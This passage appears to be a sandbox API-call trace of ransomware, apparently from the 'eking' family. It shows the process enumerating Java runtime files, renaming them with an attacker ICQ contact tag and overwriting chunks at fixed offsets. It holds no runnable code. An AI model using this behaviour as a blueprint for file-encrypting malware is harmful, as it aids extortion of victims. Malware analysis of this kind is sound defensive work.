(lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0234.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0234.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.277] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=16448) returned 1 [0234.277] CloseHandle (hObject=0x348) returned 1 [0234.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0234.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0234.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.278] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=16448) returned 1 [0234.278] CloseHandle (hObject=0x348) returned 1 [0234.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20 [0234.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20 [0234.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.279] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=829264) returned 1 [0234.279] CloseHandle (hObject=0x348) returned 1 [0234.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20 [0234.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20 [0234.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.283] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=234560) returned 1 [0234.283] CloseHandle (hObject=0x348) returned 1 [0234.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20 [0234.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20 [0234.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.283] SetEvent (hEvent=0x2b8) returned 1 [0234.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.284] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=16448) returned 1 [0234.284] CloseHandle (hObject=0x348) returned 1 [0234.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0234.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0234.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.285] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=57408) returned 1 [0234.285] CloseHandle (hObject=0x348) returned 1 [0234.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0234.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0234.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.288] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=130624) returned 1 [0234.288] CloseHandle (hObject=0x348) returned 1 [0234.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0234.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0234.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.289] SetEvent (hEvent=0x2b8) returned 1 [0234.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.290] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=97856) returned 1 [0234.290] CloseHandle (hObject=0x348) returned 1 [0234.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0234.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0234.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.292] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=15424) returned 1 [0234.292] CloseHandle (hObject=0x348) returned 1 [0234.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0234.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0234.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.293] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=15936) returned 1 [0234.293] CloseHandle (hObject=0x348) returned 1 [0234.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0234.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0234.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.296] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=16448) returned 1 [0234.296] CloseHandle (hObject=0x348) returned 1 [0234.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20 [0234.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20 [0234.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.297] SetEvent (hEvent=0x2b8) returned 1 [0234.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.298] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=18677760) returned 1 [0234.298] CloseHandle (hObject=0x348) returned 1 [0234.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21 [0234.299] SetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0245.550] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0245.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0245.555] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbb8 | out: lpNewFilePointer=0x0) returned 1 [0245.555] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbb8 | out: lpNewFilePointer=0x0) returned 1 [0245.555] ReadFile (in: hFile=0x348, lpBuffer=0x3580058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfbc4, lpOverlapped=0x0 | out: lpBuffer=0x3580058*, lpNumberOfBytesRead=0x30dfbc4*=0x40000, lpOverlapped=0x0) returned 1 [0245.559] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbb8 | out: lpNewFilePointer=0x0) returned 1 [0245.559] ReadFile (in: hFile=0x348, lpBuffer=0x35c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfbc4, lpOverlapped=0x0 | out: lpBuffer=0x35c0058*, lpNumberOfBytesRead=0x30dfbc4*=0x40000, lpOverlapped=0x0) returned 1 [0245.570] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbb8 | out: lpNewFilePointer=0x0) returned 1 [0245.570] ReadFile (in: hFile=0x348, lpBuffer=0x3600058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfbc4, lpOverlapped=0x0 | out: lpBuffer=0x3600058*, lpNumberOfBytesRead=0x30dfbc4*=0x40000, lpOverlapped=0x0) returned 1 [0245.835] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd28 | out: lpNewFilePointer=0x0) returned 1 [0245.835] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xc0102, lpOverlapped=0x0) returned 1 [0246.094] SetEndOfFile (hFile=0x348) returned 1 [0246.096] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbc0 | out: lpNewFilePointer=0x0) returned 1 [0246.096] WriteFile (in: hFile=0x348, lpBuffer=0x364013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfbcc, lpOverlapped=0x0 | out: lpBuffer=0x364013a*, lpNumberOfBytesWritten=0x30dfbcc*=0x40000, lpOverlapped=0x0) returned 1 [0246.099] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbc0 | out: lpNewFilePointer=0x0) returned 1 [0246.099] WriteFile (in: hFile=0x348, lpBuffer=0x364013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfbcc, lpOverlapped=0x0 | out: lpBuffer=0x364013a*, lpNumberOfBytesWritten=0x30dfbcc*=0x40000, lpOverlapped=0x0) returned 1 [0246.102] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbc0 | out: lpNewFilePointer=0x0) returned 1 [0246.102] WriteFile (in: hFile=0x348, lpBuffer=0x364013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfbcc, lpOverlapped=0x0 | out: lpBuffer=0x364013a*, lpNumberOfBytesWritten=0x30dfbcc*=0x40000, lpOverlapped=0x0) returned 1 [0246.104] CloseHandle (hObject=0x348) returned 1 [0248.477] SetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", dwFileAttributes=0x21) returned 1 [0248.478] SetEvent (hEvent=0x2b8) returned 1 [0248.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0248.620] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=114923) returned 1 [0248.620] CloseHandle (hObject=0x348) returned 1 [0248.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0248.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0248.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0248.621] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0248.622] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0248.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x340 [0248.623] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | 